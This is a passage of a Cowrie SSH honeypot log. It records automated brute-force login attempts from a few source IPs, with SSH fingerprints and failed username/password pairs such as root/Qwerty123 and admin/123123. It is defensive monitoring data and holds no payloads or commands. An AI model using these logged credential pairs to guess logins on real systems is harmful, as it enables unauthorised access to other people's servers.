{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:54.947124Z","src_ip":"192.109.200.237","session":"f7b88292f1ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:55.193473Z","src_ip":"192.109.200.237","session":"f7b88292f1ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:56.278721Z","src_ip":"192.109.200.237","session":"f7b88292f1ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45440,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a7e9746f004","protocol":"ssh","message":"New connection: 192.109.200.237:45440 (159.203.135.109:22) [session: 9a7e9746f004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:58.000870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:58.005347Z","src_ip":"192.109.200.237","session":"9a7e9746f004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:58.089962Z","src_ip":"192.109.200.237","session":"9a7e9746f004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:58.336648Z","src_ip":"192.109.200.237","session":"9a7e9746f004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:59.421154Z","src_ip":"192.109.200.237","session":"9a7e9746f004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":53038,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b91d50a292c","protocol":"ssh","message":"New connection: 103.15.222.183:53038 (159.203.135.109:22) [session: 1b91d50a292c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:59.587675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:59.592255Z","src_ip":"103.15.222.183","session":"1b91d50a292c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:59.846892Z","src_ip":"103.15.222.183","session":"1b91d50a292c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aezakmi1","message":"login attempt [root/aezakmi1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:00.611544Z","src_ip":"103.15.222.183","session":"1b91d50a292c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58952,"dst_ip":"159.203.135.109","dst_port":22,"session":"f63683a580b4","protocol":"ssh","message":"New connection: 192.109.200.237:58952 (159.203.135.109:22) [session: f63683a580b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:01.101647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:01.106930Z","src_ip":"192.109.200.237","session":"f63683a580b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:01.189670Z","src_ip":"192.109.200.237","session":"f63683a580b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:01.438538Z","src_ip":"192.109.200.237","session":"f63683a580b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:01.898512Z","src_ip":"103.15.222.183","session":"1b91d50a292c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:02.529959Z","src_ip":"192.109.200.237","session":"f63683a580b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58970,"dst_ip":"159.203.135.109","dst_port":22,"session":"a907195e4d40","protocol":"ssh","message":"New connection: 192.109.200.237:58970 (159.203.135.109:22) [session: a907195e4d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:04.339789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:04.344712Z","src_ip":"192.109.200.237","session":"a907195e4d40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:04.471572Z","src_ip":"192.109.200.237","session":"a907195e4d40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:04.840314Z","src_ip":"192.109.200.237","session":"a907195e4d40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:05.928554Z","src_ip":"192.109.200.237","session":"a907195e4d40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58988,"dst_ip":"159.203.135.109","dst_port":22,"session":"45f818365680","protocol":"ssh","message":"New connection: 192.109.200.237:58988 (159.203.135.109:22) [session: 45f818365680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:07.731934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:07.736077Z","src_ip":"192.109.200.237","session":"45f818365680","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:07.821865Z","src_ip":"192.109.200.237","session":"45f818365680","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:08.068226Z","src_ip":"192.109.200.237","session":"45f818365680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:09.153003Z","src_ip":"192.109.200.237","session":"45f818365680","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54550,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6be2fec841a","protocol":"ssh","message":"New connection: 192.109.200.237:54550 (159.203.135.109:22) [session: c6be2fec841a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:10.930527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:10.935943Z","src_ip":"192.109.200.237","session":"c6be2fec841a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:11.018381Z","src_ip":"192.109.200.237","session":"c6be2fec841a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:11.265901Z","src_ip":"192.109.200.237","session":"c6be2fec841a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:12.366410Z","src_ip":"192.109.200.237","session":"c6be2fec841a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54562,"dst_ip":"159.203.135.109","dst_port":22,"session":"38eef71bd942","protocol":"ssh","message":"New connection: 192.109.200.237:54562 (159.203.135.109:22) [session: 38eef71bd942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:14.089047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:14.093865Z","src_ip":"192.109.200.237","session":"38eef71bd942","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:14.180105Z","src_ip":"192.109.200.237","session":"38eef71bd942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:14.429049Z","src_ip":"192.109.200.237","session":"38eef71bd942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:15.517202Z","src_ip":"192.109.200.237","session":"38eef71bd942","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54574,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dd66eda4082","protocol":"ssh","message":"New connection: 192.109.200.237:54574 (159.203.135.109:22) [session: 5dd66eda4082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:17.195971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:17.200742Z","src_ip":"192.109.200.237","session":"5dd66eda4082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 